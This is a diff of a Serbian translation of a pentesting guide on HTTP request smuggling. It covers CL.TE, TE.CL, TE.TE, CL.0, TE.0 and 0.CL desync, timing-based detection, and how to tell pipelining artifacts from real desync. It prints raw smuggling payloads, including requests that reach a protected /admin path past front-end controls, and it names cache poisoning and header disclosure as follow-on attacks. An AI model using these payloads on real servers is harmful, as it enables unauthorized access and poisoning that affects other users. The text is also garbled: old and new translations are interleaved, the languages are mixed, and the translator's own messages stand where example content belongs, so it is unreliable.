HTTP request smuggling napadi se grade slanjem dvosmislenih zahteva koji iskorišćavaju discrepancije u načinu na koji front-end i back-end serveri interpretiraju `Content-Length` (CL) i `Transfer-Encoding` (TE) header-e. Ovi napadi se pojavljuju u različitim oblicima, pretežno kao **CL.TE**, **TE.CL**, i **TE.TE**. Svaka vrsta predstavlja jedinstvenu kombinaciju prioriteta ovih header-a između front-end i back-end servera. Ranjivosti nastaju jer serveri obrađuju isti zahtev na različite načine, što vodi do neočekivanih i potencijalno malicioznih posledica.
|
||||
|
||||
### Osnovni primeri tipova ranjivosti
|
||||
|
||||
|
||||
|
||||
> [!TIP]
|
||||
> Na prethodnu tabelu bi trebalo dodati tehniku TE.0, slično CL.0 tehnici ali koristeći Transfer Encoding.
|
||||
> Uz prethodnu tabelu treba dodati tehniku TE.0, slično tehnici CL.0 ali koristeći Transfer-Encoding.
|
||||
|
||||
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
|
||||
|
||||
- **Front-End (CL):** Procesira request na osnovu `Content-Length` header-a.
|
||||
- **Back-End (TE):** Procesira request na osnovu `Transfer-Encoding` header-a.
|
||||
- **Scenarijo napada:**
|
||||
- **Front-End (CL):** Procesira zahtev na osnovu `Content-Length` header-a.
|
||||
- **Back-End (TE):** Procesira zahtev na osnovu `Transfer-Encoding` header-a.
|
||||
- **Attack Scenario:**
|
||||
|
||||
- Attacker šalje request gde vrednost `Content-Length` header-a ne odgovara stvarnoj dužini sadržaja.
|
||||
- Front-end server prosleđuje čitav request prema back-end-u na osnovu vrednosti `Content-Length`.
|
||||
- Back-end server obrađuje request kao chunked zbog `Transfer-Encoding: chunked` header-a, interpretirajući preostale podatke kao odvojen, naknadni request.
|
||||
- **Primer:**
|
||||
- Napadač pošalje zahtev gde vrednost `Content-Length` header-a ne odgovara stvarnoj dužini sadržaja.
|
||||
- Front-end server prosleđuje ceo zahtev ka back-end-u bazirano na vrednosti `Content-Length`.
|
||||
- Back-end server obrađuje zahtev kao chunked zbog `Transfer-Encoding: chunked` header-a, interpretirajući preostale podatke kao poseban, naknadni zahtev.
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -76,14 +93,14 @@ Foo: x
|
||||
|
||||
#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
|
||||
|
||||
- **Front-End (TE):** Procesira request na osnovu `Transfer-Encoding` header-a.
|
||||
- **Back-End (CL):** Procesira request na osnovu `Content-Length` header-a.
|
||||
- **Scenarijo napada:**
|
||||
- **Front-End (TE):** Procesira zahtev na osnovu `Transfer-Encoding` header-a.
|
||||
- **Back-End (CL):** Procesira zahtev na osnovu `Content-Length` header-a.
|
||||
- **Attack Scenario:**
|
||||
|
||||
- Attacker šalje chunked request gde veličina chunka (`7b`) i stvarna dužina sadržaja (`Content-Length: 4`) nisu usklađene.
|
||||
- Front-end server, poštujući `Transfer-Encoding`, prosleđuje čitav request back-end-u.
|
||||
- Back-end server, poštujući `Content-Length`, obrađuje samo početni deo request-a (`7b` bajtova), ostavljajući ostatak kao deo nenamernog naknadnog request-a.
|
||||
- **Primer:**
|
||||
- Napadač pošalje chunked zahtev gde veličina chunk-a (`7b`) i stvarna dužina sadržaja (`Content-Length: 4`) nisu usklađene.
|
||||
- Front-end server, poštujući `Transfer-Encoding`, prosleđuje ceo zahtev ka back-end-u.
|
||||
- Back-end server, poštujući `Content-Length`, obrađuje samo početni deo zahteva (`7b` bajtova), ostavljajući ostatak kao deo nenamernog narednog zahteva.
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -105,13 +122,13 @@ x=
|
||||
|
||||
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
|
||||
|
||||
- **Servers:** Oboje podržavaju `Transfer-Encoding`, ali jedan može biti prevaren obfuskovanjem tako da ga ne prepozna.
|
||||
- **Scenarijo napada:**
|
||||
- **Servers:** Oba podržavaju `Transfer-Encoding`, ali jedan može biti prevaren da ga ignoriše putem obfuskacije.
|
||||
- **Attack Scenario:**
|
||||
|
||||
- Attacker šalje request sa obfuskovanim `Transfer-Encoding` header-ima.
|
||||
- U zavisnosti koji server (front-end ili back-end) ne prepozna obfuskaciju, može se iskoristiti CL.TE ili TE.CL ranjivost.
|
||||
- Nepromenjeni deo request-a, kako ga jedan od servera vidi, postaje deo naknadnog request-a, što vodi do smuggling-a.
|
||||
- **Primer:**
|
||||
- Napadač pošalje zahtev sa obfuskovanim `Transfer-Encoding` header-ima.
|
||||
- U zavisnosti od toga koji server (front-end ili back-end) ne prepozna obfuskaciju, može se eksploatisati CL.TE ili TE.CL ranjivost.
|
||||
- Nepostradati deo zahteva, kako ga vidi jedan od servera, postaje deo narednog zahteva, što dovodi do smuggling-a.
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -132,9 +149,9 @@ Transfer-Encoding
|
||||
|
||||
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
|
||||
|
||||
- Oboje servera obrađuju request isključivo na osnovu `Content-Length` header-a.
|
||||
- Ovaj scenarijo obično ne dovodi do smuggling-a, jer postoji usklađenost u načinu na koji oba servera tumače dužinu request-a.
|
||||
- **Primer:**
|
||||
- Oba servera procesuiraju zahtev isključivo na osnovu `Content-Length` header-a.
|
||||
- Ovaj scenario obično ne vodi ka smuggling-u, jer postoji usklađenost u načinu na koji oba servera interpretiraju dužinu zahteva.
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -147,9 +164,9 @@ Normal Request
|
||||
|
||||
#### **CL.0 Scenario**
|
||||
|
||||
- Odnosi se na scenarije gde `Content-Length` header postoji i ima vrednost različitu od nule, što znači da telo request-a ima sadržaj. Back-end ignoriše `Content-Length` header (tretira ga kao 0), ali front-end ga parsira.
|
||||
- Ovo je važno za razumevanje i kreiranje smuggling napada, jer utiče na to kako serveri određuju kraj request-a.
|
||||
- **Primer:**
|
||||
- Odnosi se na scenarije gde `Content-Length` header postoji i ima vrednost različitu od nule, što označava da telo zahteva ima sadržaj. Back-end ignoriše `Content-Length` header (tretira ga kao 0), ali front-end ga parsira.
|
||||
- Ovo je važno za razumevanje i kreiranje smuggling napada, jer utiče na to kako serveri određuju kraj zahteva.
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -162,9 +179,9 @@ Non-Empty Body
|
||||
|
||||
#### TE.0 Scenario
|
||||
|
||||
- Kao prethodni, ali koristeći TE
|
||||
- Kao prethodni, ali koristeći TE.
|
||||
- Tehnika [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- **Primer**:
|
||||
- **Example**:
|
||||
```
|
||||
OPTIONS / HTTP/1.1
|
||||
Host: {HOST}
|
||||
@ -182,34 +199,58 @@ x: X
|
||||
EMPTY_LINE_HERE
|
||||
EMPTY_LINE_HERE
|
||||
```
|
||||
#### `0.CL` Scenarij
|
||||
|
||||
U `0.CL` scenariju request se šalje sa Content-Length kao:
|
||||
```
|
||||
GET /Logon HTTP/1.1
|
||||
Host: <redacted>
|
||||
Content-Length:
|
||||
7
|
||||
|
||||
GET /404 HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
A front-end ne uzima u obzir `Content-Length`, pa pošalje samo prvi zahtev ka backendu (do 7 u primeru). Međutim, backend vidi `Content-Length` i čeka telo koje nikada ne stigne jer je front-end već u čekanju odgovora.
|
||||
|
||||
Međutim, ako postoji zahtev koji je moguće poslati backendu i na koji se odgovori pre nego što stigne telo zahteva, ovaj zastoj se neće dogoditi. Na primer, u IIS ovo se dešava kada se šalju zahtevi za zabranjene nazive kao što je `/con` (check the [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), na taj način početni zahtev će biti odgovorен direktno, a drugi zahtev će sadržati zahtev žrtve kao:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
X: yGET /victim HTTP/1.1
|
||||
Host: <redacted>
|
||||
```
|
||||
Ovo je korisno za izazivanje desync-a, ali do sada nije imalo nikakav uticaj.
|
||||
|
||||
Međutim, post nudi rešenje za ovo pretvaranjem **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.
|
||||
|
||||
#### Rušenje web servera
|
||||
|
||||
Ova tehnika je takođe korisna u scenarijima gde je moguće da se **web server sruši tokom čitanja inicijalnih HTTP podataka**, ali **bez zatvaranja konekcije**. Na taj način, **body** HTTP zahteva biće smatran za **next HTTP request**.
|
||||
Ova tehnika je takođe korisna u scenarijima gde je moguće **prekinuti rad web servera dok se čitaju početni HTTP podaci** ali **bez zatvaranja konekcije**. Na taj način, **telo** HTTP zahteva biće smatrano **sledećim HTTP zahtevom**.
|
||||
|
||||
Na primer, kao što je objašnjeno u [**this writeup**](https://mizu.re/post/twisty-python), u Werkzeugu je bilo moguće poslati neke **Unicode** karaktere i to će naterati server da se **break**. Međutim, ako je HTTP konekcija kreirana sa header-om **`Connection: keep-alive`**, body zahteva neće biti pročitan i konekcija će ostati otvorena, tako da će se **body** zahteva tretirati kao **next HTTP request**.
|
||||
Na primer, kako je objašnjeno u [**this writeup**](https://mizu.re/post/twisty-python), u Werkzeug-u je bilo moguće poslati neke **Unicode** karaktere i to će server **srušiti**. Međutim, ako je HTTP konekcija kreirana sa headerom **`Connection: keep-alive`**, telo zahteva neće biti pročitano i konekcija će ostati otvorena, tako da će se **telo** zahteva tretirati kao **sledeći HTTP zahtev**.
|
||||
|
||||
#### Forcing via hop-by-hop headers
|
||||
#### Forsiranje preko hop-by-hop zaglavlja
|
||||
|
||||
Abuziranjem hop-by-hop headers možete naterati proxy da **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse**.
|
||||
Zloupotrebom hop-by-hop zaglavlja možete naterati proxy da **obriše zaglavlje Content-Length ili Transfer-Encoding, čime postaje moguće iskoristiti HTTP request smuggling**.
|
||||
```
|
||||
Connection: Content-Length
|
||||
```
|
||||
For **više informacija o hop-by-hop headers** posetite:
|
||||
For **više informacija o hop-by-hop headers** pogledajte:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../abusing-hop-by-hop-headers.md
|
||||
{{#endref}}
|
||||
|
||||
## Otkrivanje HTTP Request Smuggling
|
||||
## Pronalaženje HTTP Request Smuggling
|
||||
|
||||
Identifikacija ranjivosti HTTP request smuggling često se može postići korišćenjem tehnika zasnovanih na vremenu (timing techniques), koje se oslanjaju na posmatranje koliko vremena serveru treba da odgovori na manipulisan zahtev. Ove tehnike su posebno korisne za otkrivanje CL.TE i TE.CL ranjivosti. Pored ovih metoda, postoje i druge strategije i alati koji se mogu koristiti za pronalaženje takvih ranjivosti:
|
||||
Identifikacija HTTP request smuggling ranjivosti često se može postići korišćenjem tehnika zasnovanih na vremenu, koje se oslanjaju na posmatranje koliko vremena serveru treba da odgovori na manipulisane zahteve. Ove tehnike su posebno korisne za otkrivanje CL.TE i TE.CL ranjivosti. Pored ovih metoda, postoje i druge strategije i alati koji se mogu koristiti za pronalaženje ovakvih ranjivosti:
|
||||
|
||||
### Pronalaženje CL.TE ranjivosti korišćenjem tehnika zasnovanih na vremenu
|
||||
|
||||
- **Metod:**
|
||||
- **Metoda:**
|
||||
|
||||
- Pošaljite zahtev koji će, ako je aplikacija ranjiva, naterati back-end server da čeka dodatne podatke.
|
||||
- Pošaljite zahtev koji će, ukoliko je aplikacija ranjiva, naterati back-end server da čeka dodatne podatke.
|
||||
- **Primer:**
|
||||
|
||||
```
|
||||
@ -225,18 +266,18 @@ A
|
||||
```
|
||||
|
||||
- **Posmatranje:**
|
||||
- Front-end server obrađuje zahtev na osnovu `Content-Length` i prerano prekida poruku.
|
||||
- Back-end server, očekujući poruku u chunked formatu, čeka sledeći chunk koji nikada ne stigne, što izaziva kašnjenje.
|
||||
- Front-end server obrađuje zahtev na osnovu `Content-Length` i prekida poruku prerano.
|
||||
- Back-end server, očekujući chunked poruku, čeka sledeći chunk koji nikada ne stigne, što uzrokuje kašnjenje.
|
||||
|
||||
- **Indikatori:**
|
||||
- Timeout-i ili dugo kašnjenje odgovora.
|
||||
- Timeouti ili duga kašnjenja u odgovoru.
|
||||
- Primanje 400 Bad Request greške od back-end servera, ponekad sa detaljnim informacijama o serveru.
|
||||
|
||||
### Pronalaženje TE.CL ranjivosti korišćenjem tehnika zasnovanih na vremenu
|
||||
|
||||
- **Metod:**
|
||||
- **Metoda:**
|
||||
|
||||
- Pošaljite zahtev koji će, ako je aplikacija ranjiva, naterati back-end server da čeka dodatne podatke.
|
||||
- Pošaljite zahtev koji će, ukoliko je aplikacija ranjiva, naterati back-end server da čeka dodatne podatke.
|
||||
- **Primer:**
|
||||
|
||||
```
|
||||
@ -257,35 +298,43 @@ X
|
||||
### Druge metode za pronalaženje ranjivosti
|
||||
|
||||
- **Differential Response Analysis:**
|
||||
- Pošaljite malo različite verzije zahteva i posmatrajte da li se odgovori servera neočekivano razlikuju, što može ukazivati na razliku u parsiranju.
|
||||
- Pošaljite blago promenjene verzije zahteva i posmatrajte da li se odgovori servera razlikuju na neočekivan način, što ukazuje na neslaganje u parsiranju.
|
||||
- **Korišćenje automatizovanih alata:**
|
||||
- Alati poput Burp Suite-ovog 'HTTP Request Smuggler' ekstenzije mogu automatski testirati ove ranjivosti slanjem različitih oblika dvosmislenih zahteva i analizom odgovora.
|
||||
- Alati poput Burp Suite-ovog dodatka 'HTTP Request Smuggler' mogu automatski testirati ove ranjivosti slanjem različitih oblika dvosmislenih zahteva i analizom odgovora.
|
||||
- **Content-Length Variance Tests:**
|
||||
- Pošaljite zahteve sa različitim vrednostima `Content-Length` koje nisu u skladu sa stvarnom dužinom sadržaja i posmatrajte kako server postupa sa takvim neusklađenostima.
|
||||
- Pošaljite zahteve sa različitim vrednostima `Content-Length` koje nisu usklađene sa stvarnom dužinom sadržaja i posmatrajte kako server obrađuje takva neslaganja.
|
||||
- **Transfer-Encoding Variance Tests:**
|
||||
- Pošaljite zahteve sa obfuskiranim ili malformisanim `Transfer-Encoding` zaglavljima i pratite kako front-end i back-end serveri različito reaguju na takve manipulacije.
|
||||
- Pošaljite zahteve sa obfuskiranim ili malformiranim `Transfer-Encoding` headerima i pratite kako se front-end i back-end serveri različito ponašaju na takve manipulacije.
|
||||
|
||||
### HTTP Request Smuggling Vulnerability Testing
|
||||
### Zaglavlje `Expect: 100-continue`
|
||||
|
||||
Nakon potvrde efikasnosti tehnika zasnovanih na vremenu, ključno je proveriti da li se klijentski zahtevi mogu manipulisati. Jednostavan metod je pokušaj poisoning vaših zahteva, na primer da zahtev za `/` rezultira 404 odgovorom. Primeri `CL.TE` i `TE.CL` ranije diskutovani u [Basic Examples](#basic-examples) pokazuju kako poisoning zahteva može izazvati 404 odgovor, iako klijent pokušava da pristupi drugom resursu.
|
||||
Proverite kako ovo zaglavlje može pomoći u iskorišćavanju http desync-a u:
|
||||
|
||||
{{#ref}}
|
||||
../special-http-headers.md
|
||||
{{#endref}}
|
||||
|
||||
### Testiranje ranjivosti HTTP Request Smuggling
|
||||
|
||||
Nakon potvrde efikasnosti tehnika zasnovanih na vremenu, ključno je proveriti da li se zahtevi klijenta mogu manipulisati. Jednostavan metod je pokušaj poisoning vaših zahteva — na primer, naterati zahtev ka `/` da vrati 404 odgovor. Primeri `CL.TE` i `TE.CL` ranije diskutovani u [Basic Examples](#basic-examples) pokazuju kako poisonovati klijentov zahtev da izazove 404 odgovor, iako klijent pokušava da pristupi drugom resursu.
|
||||
|
||||
**Ključna razmatranja**
|
||||
|
||||
Kada testirate request smuggling narušavanjem drugih zahteva, imajte na umu:
|
||||
Kada testirate ranjivosti request smuggling ometanjem drugih zahteva, imajte na umu:
|
||||
|
||||
- **Različite mrežne konekcije:** "attack" i "normal" zahtevi treba da budu poslati preko odvojenih mrežnih konekcija. Korišćenje iste konekcije za oba ne potvrđuje postojanje ranjivosti.
|
||||
- **Konzistentan URL i parametri:** Nastojte da koristite iste URL-ove i nazive parametara za oba zahteva. Moderne aplikacije često rutuju zahteve ka specifičnim back-end serverima na osnovu URL-a i parametara. Podudaranje ovih vrednosti povećava verovatnoću da će oba zahteva obraditi isti server, što je preduslov za uspešan attack.
|
||||
- **Vremenski uslovi i takmičenje (racing conditions):** "Normal" zahtev, koji treba da detektuje interferenciju od "attack" zahteva, takmiči se sa drugim istovremenim zahtevima aplikacije. Zbog toga pošaljite "normal" zahtev odmah nakon "attack" zahteva. Zauzete aplikacije mogu zahtevati više pokušaja za konačnu potvrdu ranjivosti.
|
||||
- **Izazovi load balancing-a:** Front-end serveri koji deluju kao load balanceri mogu raspodeliti zahteve na različite back-end sisteme. Ako se "attack" i "normal" zahtevi završe na različitim sistemima, attack neće uspeti. Ovaj aspekt load balancing-a može zahtevati nekoliko pokušaja da se potvrdi ranjivost.
|
||||
- **Neželjeni uticaj na korisnike:** Ako vaš attack nenamerno utiče na zahtev drugog korisnika (ne na "normal" zahtev koji ste poslali za detekciju), to ukazuje da je vaš attack uticao na drugog korisnika aplikacije. Kontinuirano testiranje može ometati druge korisnike, te je potreban oprezan pristup.
|
||||
- **Odvojene mrežne konekcije:** "attack" i "normal" zahtevi treba da budu poslati preko odvojenih mrežnih konekcija. Korišćenje iste konekcije za oba ne potvrđuje prisustvo ranjivosti.
|
||||
- **Konzistentan URL i parametri:** Težite da koristite identične URL-ove i nazive parametara za oba zahteva. Moderne aplikacije često usmeravaju zahteve ka specifičnim back-end serverima na osnovu URL-a i parametara. Usklađivanje ovih povećava verovatnoću da će oba zahteva obrađivati isti server, što je preduslov za uspešan attack.
|
||||
- **Vremenski uslovi i trke:** "normal" zahtev, koji služi za detekciju interferencije od "attack" zahteva, takmiči se sa ostalim istovremenim zahtevima aplikacije. Zato pošaljite "normal" zahtev odmah nakon "attack" zahteva. Zauzete aplikacije mogu zahtevati više pokušaja za konačnu potvrdu ranjivosti.
|
||||
- **Izazovi load balancera:** Front-end serveri koji deluju kao load balanceri mogu distribuirati zahteve na različite back-end sisteme. Ako se "attack" i "normal" zahtevi nađu na različitim sistemima, attack neće uspeti. Ovaj aspekt load balancing-a može zahtevati više pokušaja da se potvrdi ranjivost.
|
||||
- **Neželjeni uticaj na korisnike:** Ako vaš attack nenamerno utiče na zahtev drugog korisnika (ne "normal" zahteva koji ste poslali radi detekcije), to ukazuje da je vaš attack uticao na drugog korisnika aplikacije. Kontinuirano testiranje može ometati druge korisnike, što zahteva oprezan pristup.
|
||||
|
||||
## Razlikovanje HTTP/1.1 pipelining artefakata i stvarnog request smuggling-a
|
||||
## Razlikovanje HTTP/1.1 pipelining artefakata od pravog request smuggling-a
|
||||
|
||||
Ponovno korišćenje konekcije (keep-alive) i pipelining lako mogu stvoriti iluzije "smuggling-a" u alatima za testiranje koji šalju više zahteva preko istog soketa. Naučite da razlikujete bezopasne klijentske artefakte od pravog server-side desync-a.
|
||||
Ponovno korišćenje konekcije (keep-alive) i pipelining lako mogu stvoriti iluzije "smuggling"-a u alatima za testiranje koji šalju više zahteva preko istog soketa. Naučite da razlikujete bezopasne artefakte sa klijentske strane od stvarnog desync-a na serverskoj strani.
|
||||
|
||||
### Zašto pipelining stvara klasične lažne pozitivne rezultate
|
||||
|
||||
HTTP/1.1 ponovo koristi jednu TCP/TLS konekciju i konkatenira zahteve i odgovore na istom stream-u. U pipelining režimu, klijent šalje više zahteva zaredom i očekuje odgovore redosledom slanja. Čest lažni pozitivan slučaj je ponovno slanje malformisanog CL.0-stila payload-a dva puta na jednoj konekciji:
|
||||
HTTP/1.1 ponovo koristi jednu TCP/TLS konekciju i konkatenira zahteve i odgovore na istom toku. U pipeliningu klijent šalje više zahteva jedan za drugim i oslanja se na odgovore u istom redosledu. Uobičajen lažno-pozitivan slučaj je ponovno slanje malformiranog CL.0-style payload-a dva puta na jednoj konekciji:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: hackxor.net
|
||||
@ -294,7 +343,7 @@ Content_Length: 47
|
||||
GET /robots.txt HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
Molim pošaljite sadržaj fajla src/pentesting-web/http-request-smuggling/README.md koji želite da prevedem. Napomena: zadržaću istu markdown/html sintaksu i neću prevoditi kod, nazive tehnika, cloud/SaaS nazive, reči poput "leak" i "pentesting", niti linkove, putanje i tagove koje ste naveli.
|
||||
Niste priložili sadržaj. Pošaljite tekst fajla src/pentesting-web/http-request-smuggling/README.md koji želite da prevedem.
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
@ -308,7 +357,7 @@ Content-Type: text/plain
|
||||
User-agent: *
|
||||
Disallow: /settings
|
||||
```
|
||||
Ako je server ignorisao neispravan `Content_Length`, nema FE↔BE desync. Pri reuse, vaš klijent je zapravo poslao ovaj byte-stream, koji je server parsirao kao dva nezavisna zahteva:
|
||||
Ako server ignoriše malformirani `Content_Length`, ne postoji FE↔BE desync. Sa reuse, vaš klijent je zapravo poslao ovaj byte-stream, koji je server parsirao kao dva nezavisna zahteva:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: hackxor.net
|
||||
@ -322,35 +371,35 @@ Content_Length: 47
|
||||
GET /robots.txt HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
Uticaj: nijedan. Upravo ste desynced svoj klijent od server framinga.
|
||||
Impact: nema. Samo ste desynced svoj client od framinga servera.
|
||||
|
||||
> [!TIP]
|
||||
> Burp moduli koji zavise od reuse/pipelining: Turbo Intruder sa `requestsPerConnection>1`, Intruder sa "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" ili "Enable connection reuse".
|
||||
> Burp modules that depend on reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
|
||||
|
||||
### Litmus testovi: pipelining or real desync?
|
||||
### Litmus tests: pipelining or real desync?
|
||||
|
||||
1. Disable reuse and re-test
|
||||
- U Burp Intruder/Repeater, isključite HTTP/1 reuse i izbegavajte "Send group in sequence".
|
||||
- U Turbo Intruder, podesite `requestsPerConnection=1` i `pipeline=False`.
|
||||
- Ako ponašanje nestane, verovatno je u pitanju client-side pipelining, osim ako ne radite sa connection-locked/stateful ciljevima ili client-side desync.
|
||||
- U Burp Intruder/Repeateru, isključite HTTP/1 reuse i izbegavajte "Send group in sequence".
|
||||
- U Turbo Intruderu, postavite `requestsPerConnection=1` i `pipeline=False`.
|
||||
- Ako ponašanje nestane, verovatno je u pitanju client-side pipelining, osim ako ne radite sa connection-locked/stateful targetima ili client-side desync.
|
||||
2. HTTP/2 nested-response check
|
||||
- Pošaljite HTTP/2 zahtev. Ako telo odgovora sadrži kompletnu nested HTTP/1 response, dokazali ste backend parsing/desync bag umesto čistog client artefakta.
|
||||
- Pošaljite HTTP/2 zahtev. Ako response body sadrži kompletnu nested HTTP/1 response, dokazali ste backend parsing/desync bug umesto čistog client artefakta.
|
||||
3. Partial-requests probe for connection-locked front-ends
|
||||
- Neki FEs ponovo koriste upstream BE konekciju samo ako je klijent ponovo koristio svoju. Koristite partial-requests da detektujete FE ponašanje koje ogleda client reuse.
|
||||
- Neki FE-ovi ponovo koriste upstream BE konekciju samo ako je klijent ponovo koristio svoju. Koristite partial-requests da detektujete FE ponašanje koje prati client reuse.
|
||||
- Pogledajte PortSwigger "Browser‑Powered Desync Attacks" za connection-locked tehniku.
|
||||
4. State probes
|
||||
- Tražite razlike između prvog i narednih zahteva na istoj TCP konekciji (first-request routing/validation).
|
||||
- Burp "HTTP Request Smuggler" uključuje connection‑state probe koji automatizuje ovo.
|
||||
- Burp "HTTP Request Smuggler" uključuje connection‑state probe koji ovo automatizuje.
|
||||
5. Visualize the wire
|
||||
- Koristite Burp "HTTP Hacker" ekstenziju da pregledate concatenation i message framing direktno dok eksperimentišete sa reuse i partial requests.
|
||||
- Koristite Burp "HTTP Hacker" ekstenziju da direktno pregledate concatenation i message framing dok eksperimentišete sa reuse i partial requests.
|
||||
|
||||
### Connection‑locked request smuggling (reuse-required)
|
||||
|
||||
Neki front-endovi ponovo koriste upstream konekciju samo kada klijent ponovo koristi svoju. Real smuggling postoji, ali je uslovljen client-side reuse. Da biste razlikovali i dokazali uticaj:
|
||||
- Dokažite server-side bug
|
||||
Neki front-endovi reuse-uju upstream konekciju samo kada klijent reuse-uje svoju. Stvarna smuggling eksploatacija postoji, ali zavisi od client-side reuse. Da razlikujete i dokažete uticaj:
|
||||
- Prove the server-side bug
|
||||
- Koristite HTTP/2 nested-response check, ili
|
||||
- Koristite partial-requests da pokažete da FE ponovo koristi upstream samo kada to klijent radi.
|
||||
- Prikažite stvarni uticaj čak i ako je direktno cross-user socket abuse blokirano:
|
||||
- Koristite partial-requests da pokažete da FE reuse-uje upstream samo kada to klijent čini.
|
||||
- Pokažite stvarni uticaj čak i ako je direktna cross-user socket zloupotreba blokirana:
|
||||
- Cache poisoning: poison shared caches via the desync so responses affect other users.
|
||||
- Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
|
||||
- Bypass FE controls: smuggle restricted paths/methods past the front-end.
|
||||
@ -367,9 +416,9 @@ Neki front-endovi ponovo koriste upstream konekciju samo kada klijent ponovo kor
|
||||
|
||||
### Client‑side desync constraints
|
||||
|
||||
Ako ciljate browser-powered/client-side desync, maliciozni zahtev mora biti poslat iz browser-a cross-origin. Header obfuscation trikovi neće raditi. Fokusirajte se na primitive dostupne preko navigation/fetch, i zatim pivotirajte na cache poisoning, header disclosure, ili front-end control bypass gde downstream komponente reflektuju ili cache-iraju odgovore.
|
||||
Ako ciljate browser-powered/client-side desync, zlonamerni zahtev mora biti poslat iz browser-a cross-origin. Header obfuscation tricks neće raditi. Fokusirajte se na primitive dostupne kroz navigation/fetch, pa zatim pivotujte na cache poisoning, header disclosure, ili front-end control bypass gde downstream komponente reflektuju ili keširaju odgovore.
|
||||
|
||||
Za pozadinu i end-to-end workflow-e:
|
||||
For background and end-to-end workflows:
|
||||
|
||||
{{#ref}}
|
||||
browser-http-request-smuggling.md
|
||||
@ -377,19 +426,19 @@ browser-http-request-smuggling.md
|
||||
|
||||
### Tooling to help decide
|
||||
|
||||
- HTTP Hacker (Burp BApp Store): prikazuje low-level HTTP ponašanje i socket concatenation.
|
||||
- HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
|
||||
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
|
||||
- Turbo Intruder: precizna kontrola nad connection reuse putem `requestsPerConnection`.
|
||||
- Burp HTTP Request Smuggler: uključuje connection‑state probe za uočavanje first‑request routing/validation.
|
||||
- Turbo Intruder: precise control over connection reuse via `requestsPerConnection`.
|
||||
- Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.
|
||||
|
||||
> [!NOTE]
|
||||
> Smatrajte reuse-only efekte nebitnim osim ako ne možete dokazati server-side desync i priložiti konkretan uticaj (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, itd.).
|
||||
> Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
|
||||
|
||||
## Abusing HTTP Request Smuggling
|
||||
|
||||
### Circumventing Front-End Security via HTTP Request Smuggling
|
||||
|
||||
Ponekad front-end proxyji primenjuju sigurnosne mere i pažljivo proveravaju dolazne zahteve. Međutim, ove mere se mogu zaobići iskorišćavanjem HTTP Request Smuggling, omogućavajući neautorizovan pristup ograničenim endpoint-ima. Na primer, pristup `/admin` može biti zabranjen spolja, dok front-end proxy aktivno blokira takve pokušaje. Ipak, ovaj proxy može zanemariti inspekciju embedded zahteva unutar smuggled HTTP zahteva, ostavljajući rupu za zaobilaženje ovih ograničenja.
|
||||
Ponekad front-end proxyji primenjuju sigurnosne mere i pregledaju dolazne zahteve. Međutim, ove mere se mogu zaobići iskorišćavanjem HTTP Request Smuggling-a, što omogućava neovlašćen pristup zaštićenim endpoint-ima. Na primer, pristupanje `/admin` može biti zabranjeno spolja, a front-end proxy aktivno blokira takve pokušaje. Ipak, taj proxy može zanemariti inspekciju embedded requests unutar smuggled HTTP zahteva, ostavljajući rupu za zaobilaženje ovih ograničenja.
|
||||
|
||||
Razmotrite sledeće primere koji ilustruju kako se HTTP Request Smuggling može koristiti za zaobilaženje front-end sigurnosnih kontrola, posebno ciljajući putanju `/admin` koja je obično zaštićena front-end proxyjem:
|
||||
|
||||
@ -410,7 +459,7 @@ Content-Length: 10
|
||||
|
||||
x=
|
||||
```
|
||||
U CL.TE napadu, zaglavlje `Content-Length` se koristi za početni zahtev, dok se u sledećem ugrađenom zahtevu koristi zaglavlje `Transfer-Encoding: chunked`. Front-end proxy obrađuje početni `POST` zahtev, ali ne uspeva da ispita ugrađeni `GET /admin` zahtev, što omogućava neovlašćen pristup putanji `/admin`.
|
||||
U CL.TE napadu, zaglavlje `Content-Length` se koristi za početni zahtev, dok ugrađeni naredni zahtev koristi zaglavlje `Transfer-Encoding: chunked`. front-end proxy obrađuje početni `POST` zahtev, ali ne uspeva da pregleda ugrađeni `GET /admin` zahtev, što omogućava neovlašćen pristup putanji `/admin`.
|
||||
|
||||
**TE.CL Example**
|
||||
```
|
||||
@ -428,13 +477,13 @@ a=x
|
||||
0
|
||||
|
||||
```
|
||||
